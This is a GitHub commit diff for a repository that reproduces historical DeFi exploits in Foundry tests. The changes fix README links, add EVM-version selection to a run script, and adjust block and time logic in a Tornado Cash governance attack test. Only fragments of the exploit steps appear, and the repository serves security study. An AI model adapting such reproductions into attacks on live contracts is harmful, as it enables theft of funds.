Skip to content

Commit f697a2a

Browse files
Repo maintenance (#100)
* chore: dynamically set EVM version and fix typos * fix(test): correct time logic in TornadoCash_Governance attack * fix: point to the correct folder
1 parent c5dc802 commit f697a2a

File tree

10 files changed

+62
-18
lines changed

10 files changed

+62
-18
lines changed

README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -56,13 +56,13 @@ The full list is below:
5656
- [Vesper Rari Pool - Nov 2021 - (~$3MM) - Price Feed Manipulation](/test/Business_Logic/VesperRariFuse)
5757
- [Uranium - Apr 2021 - (~$50MM) - Wrong Constant Product AMM checks](/test/Business_Logic/Uranium)
5858
- [Furucombo - Feb 2021 - ($15MM) - DELEGATECALL to proxy](/test/Business_Logic/Furucombo)
59-
- [Seaman - Nov 2022 - ($7K) - Sandwich attack](/test/Business_Logic/Furucombo)
59+
- [Seaman - Nov 2022 - ($7K) - Sandwich attack](/test/Business_Logic/Seaman/)
6060
- [Tornado Cash Governance - May 2023 - (~$2.7MM) - Malicious Proposal](/test/Business_Logic/TornadoCash_Governance)
6161
- [Onyx Protocol - Nov 2023 - (~$2.1MM) - Empty Market Manipulation / Rounding Error](/test/Business_Logic/OnyxProtocol)
6262
- [Polter Finance - Nov 2024 - (~$8.7MM) - Oracle Manipulation](/test/Business_Logic/Polter_Finance/)
6363
- [SIR Trading - Mar 2025 - (~$355k) - Bad Usage of Transient Storage](/test/Business_Logic/SIRTrading/)
6464
- [MobiusDAO - Mar 2025 - (~$2.15MM) - Bad Arithmetic](/test/Business_Logic/MobiusDAO/)
65-
- [Cork Finance - May 2025 - (~$7.2MM) - Price Manipulation + Poor Access Control](/test/Business_Logic/FourMeme/)
65+
- [Cork Finance - May 2025 - (~$7.2MM) - Price Manipulation + Poor Access Control](/test/Business_Logic/Cork_Finance/)
6666

6767

6868
### Reentrancy

scripts/attach-run.sh

100644100755
Lines changed: 32 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,11 @@
11
#!/usr/bin/env bash
22
set -euo pipefail
3+
# Configuration block number
4+
LONDON_BLOCK=12965000
5+
PARIS_BLOCK=15537394
6+
SHANGHAI_BLOCK=17034870
7+
CANCUN_BLOCK=19426587
8+
PETRA_BLOCK=22431084
39

410
# Ensure Foundry is on PATH for non-interactive shells (like VS Code hooks)
511
export PATH="$PATH:$HOME/.foundry/bin"
@@ -37,9 +43,33 @@ else
3743
echo "Using saved RPC_URL (…${RPC_URL: -6})"
3844
fi
3945

40-
printf "\n▶ Running exploit: %s\n\n" "$LEARN_ATTACK_CONTRACT"
41-
forge test --match-contract "$LEARN_ATTACK_CONTRACT" -vvv
46+
ATTACK_FILE_PATH=$(grep -rl "contract ${LEARN_ATTACK_CONTRACT}\b" ./test | head -n 1)
4247

48+
if [ -n "$ATTACK_FILE_PATH" ]; then
49+
TEST_DIR=$(dirname "$ATTACK_FILE_PATH")
50+
README_PATH="${TEST_DIR}/README.md"
51+
if [ -f "$README_PATH" ]; then
52+
if grep 'network:' "$README_PATH" | grep -qv 'ethereum'; then
53+
EVM_VERSION="london"
54+
else
55+
ATTACK_BLOCK=$(grep -A 2 'attack_block:' "$README_PATH" | grep -o '[0-9]\+' | head -n 1 || true)
56+
ATTACK_BLOCK=${ATTACK_BLOCK:-0}
57+
if [ -n "$ATTACK_BLOCK" ]; then
58+
if (( ATTACK_BLOCK < LONDON_BLOCK )); then EVM_VERSION="berlin";
59+
elif (( ATTACK_BLOCK < PARIS_BLOCK )); then EVM_VERSION="london";
60+
elif (( ATTACK_BLOCK < SHANGHAI_BLOCK )); then EVM_VERSION="paris";
61+
elif (( ATTACK_BLOCK < CANCUN_BLOCK )); then EVM_VERSION="shanghai";
62+
elif (( ATTACK_BLOCK < PETRA_BLOCK )); then EVM_VERSION="cancun";
63+
else EVM_VERSION="prague";fi;
64+
EVM_VERSION_FLAG="--evm-version $EVM_VERSION"
65+
echo "Using EVM Version: $EVM_VERSION"
66+
fi
67+
fi
68+
fi
69+
fi
70+
71+
printf "\n▶ Running exploit: %s\n\n" "$LEARN_ATTACK_CONTRACT"
72+
forge test --match-contract "$LEARN_ATTACK_CONTRACT" -vvv --evm-version "$EVM_VERSION"
4373
echo
4474
echo "✅ Done. Opening interactive shell..."
4575
exec bash -l

test/Bad_Data_Validation/Bond_OlympusDAO/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ attacker_addresses:
1717
- "0xa29e4fe451ccfa5e7def35188919ad7077a4de8f"
1818
malicious_token: []
1919
attack_block: [15794364]
20-
reproduction_command: forge test --match-contract Exploit_OlympusDAO -vvv
20+
reproduction_command: forge test --match-contract Exploit_OlympusDao -vvv
2121
attack_txs:
2222
- "0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf"
2323
sources:

test/Bridges/NomadBridge/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
title: Nomad Bridge
33
description: Processing arbitrary messages through faulty validation logic
44
type: Exploit
5-
network: [ethereum, moonbean]
5+
network: [ethereum, moonbeam]
66
date: 2022-08-01
77
loss_usd: 190000000
88
returned_usd: 0

test/Bridges/PolyNetworkBridge/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
title: Polynetwork Bridge
33
description: Hijacking validator roles through sighash collision attacks
44
type: Exploit
5-
network: [ethereum, moonbean]
5+
network: [ethereum, moonbeam]
66
date: 2021-08-10
77
loss_usd: 611000000
88
returned_usd: 578000000

test/Business_Logic/FourMeme/README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@ sources:
4141

4242
## Detailed Description
4343

44-
[four.meme]() is a memecoin launchpad on the BNB Smart Chain, similar to [pump.fun](). This platform operates in three main steps:
44+
[four.meme](https://four.meme/) is a memecoin launchpad on the BNB Smart Chain, similar to [pump.fun](https://pump.fun/). This platform operates in three main steps:
4545

4646
1. **Creation**: Users customize the name, logo, description, and optional social accounts to generate a new memecoin.
4747
2. **Trading**: Other users can trade the memecoin directly on the platform.
@@ -59,4 +59,4 @@ The core issue originates from four.meme's contract [0x5c95](https://bscscan.com
5959

6060
## Possible mitigations
6161

62-
To mitigate this attack, [four.meme]() should have set appropriate `amount0Min` and `amount1Min` values when adding liquidity to the pool.
62+
To mitigate this attack, [four.meme](https://four.meme/) should have set appropriate `amount0Min` and `amount1Min` values when adding liquidity to the pool.

test/Business_Logic/OneRingFinance/OneRingFinance.attack.sol

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -108,7 +108,7 @@ contract Exploit_OneRingFinance is TestHarness, TokenBalanceTracker {
108108
uint256 borrowAmount;
109109

110110
function setUp() external {
111-
cheat.createSelectFork('fantom', 34041499); // We pin one block before the exploit happened.
111+
cheat.createSelectFork(vm.envString("RPC_URL"), 34041499); // We pin one block before the exploit happened.
112112

113113
cheat.deal(address(this), 0);
114114

test/Business_Logic/TornadoCash_Governance/TornadoCash_Governance.attack.sol

Lines changed: 11 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,7 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker {
6161
// 1. Submit the proposal #20 allegating some relayers are cheating the protocol with the
6262
// Attacker 2
6363
// https://explorer.phalcon.xyz/tx/eth/0x34605f1d6463a48b818157f7b26d040f8dd329273702a0618e9e74fe350e6e0d?line=0&debugLine=0
64-
vm.rollFork(17_249_552);
64+
vm.roll(17_249_552);
6565
console2.log("Submitting proposal...");
6666
vm.startPrank(ATTACKER2);
6767
proposalId = TORNADO_GOVERNANCE.propose(
@@ -72,16 +72,17 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker {
7272

7373
console2.log("\n======== STAGE 1.1 VOTE PROPOSAL ========");
7474
console2.log("Locking funds with voter...");
75-
cheat.rollFork(17_265_000);
75+
cheat.roll(17_265_000);
7676
deal(address(tornToken), SomeVoter, 300_000 ether);
7777
assertEq(tornToken.balanceOf(SomeVoter), 300_000 ether, "Voter: torn token balance mismatch");
7878
vm.startPrank(SomeVoter);
7979
tornToken.approve(address(TORNADO_GOVERNANCE), type(uint256).max);
8080
TORNADO_GOVERNANCE.lockWithApproval(tornToken.balanceOf(SomeVoter));
8181
console2.log("Funds successfully locked \n");
8282

83-
cheat.rollFork(17_275_000);
8483
console2.log("Casting vote...");
84+
(,, uint256 startTime, uint256 endTime,,,,) = TORNADO_GOVERNANCE.proposals(proposalId);
85+
vm.warp(startTime + 1);
8586
TORNADO_GOVERNANCE.castVote(proposalId, true);
8687
console2.log("Vote successfully casted");
8788
vm.stopPrank();
@@ -90,7 +91,7 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker {
9091
// 2. Deploy multiple minion contracts with the Attacker Contract and lock zero TORN with
9192
// each one in the Governance with the Attacker 1
9293
// https://explorer.phalcon.xyz/tx/eth/0x26672ad9140d11b64964e79d0ed5971c26492786cfe0edf57034229fdc7dc529?line=835&debugLine=835
93-
cheat.rollFork(17_285_354);
94+
cheat.roll(17_285_354);
9495
vm.startPrank(ATTACKER1);
9596
attacker1contract = new Attacker1Contract();
9697
attacker1contract.deployMultipleContracts(5);
@@ -107,7 +108,7 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker {
107108
destroyAccount(address(proposal_20), address(0));
108109
destroyAccount(address(transientContract), ATTACKER2);
109110

110-
vm.rollFork(17_299_106);
111+
vm.roll(17_299_106);
111112
console2.log("Fork Block Number: %s", block.number); // just before the redeployment
112113

113114
console2.log("\n======== STAGE 4. REDEPLOY THE PROPOSAL AND TRANSIENT ========");
@@ -126,8 +127,11 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker {
126127
console2.log("Proposal: %s", address(transientContract).code.length);
127128

128129
console2.log("\n======== STAGE 5. EXECUTE MALICIOUS PROPOSAL ========");
129-
cheat.rollFork(17_299_138); // just before the execution
130+
130131
console2.log("Executing malicious proposal...");
132+
(,,, endTime,,,,) = TORNADO_GOVERNANCE.proposals(proposalId);
133+
uint256 EXECUTION_DELAY = 172800;
134+
vm.warp(endTime + EXECUTION_DELAY+ 1);
131135
// 5. Execute the malicious proposal in Tornado closing the position of 4 Relayers (the same
132136
// mentioned in the proposal #20 description)
133137
// https://explorer.phalcon.xyz/tx/eth/0x3274b6090685b842aca80b304a4dcee0f61ef8b6afee10b7c7533c32fb75486d?line=3&debugLine=3
@@ -148,7 +152,7 @@ contract Exploit_TornadoCashGovernance is TestHarness, TokenBalanceTracker {
148152
// https://explorer.phalcon.xyz/tx/eth/0x13e2b7359dd1c13411342fd173750a19252f5b0d92af41be30f9f62167fc5b94?line=12&debugLine=12
149153
// The locked balance slots were wrote with 10,000e18 granting that amount of tokens per account
150154
// This call is made with a for loop over all the minions.
151-
cheat.rollFork(17_304_425); // just before the drain
155+
cheat.roll(17_304_425); // just before the drain
152156
address[] memory minions = attacker1contract.getMinions();
153157

154158
console2.log("Before Drain ");

test/Business_Logic/TornadoCash_Governance/TornadoGovernance.interface.sol

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -74,4 +74,14 @@ interface ITornadoGovernance {
7474
function lockedBalance(address from) external returns (uint256);
7575
function state(uint256 proposalId) external view returns (ProposalState);
7676
function castVote(uint256 proposalId, bool support) external;
77+
function proposals(uint256 proposalId) external view returns (
78+
address proposer,
79+
address target,
80+
uint256 startTime,
81+
uint256 endTime,
82+
uint256 forVotes,
83+
uint256 againstVotes,
84+
bool executed,
85+
bool extended
86+
);
7787
}

test/Reentrancy/HundredFinance/HundredFinance.attack.sol

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@ contract Exploit_HundredFinance is TestHarness {
2525
uint16 timesBorrowed;
2626

2727
function setUp() external {
28-
cheat.createSelectFork("gnosis", 21120319); // We pin one block before the exploit happened.
28+
cheat.createSelectFork(vm.envString("RPC_URL"), 21120319); // We pin one block before the exploit happened.
2929
}
3030

3131
receive() external payable {

0 commit comments

Comments
 (0)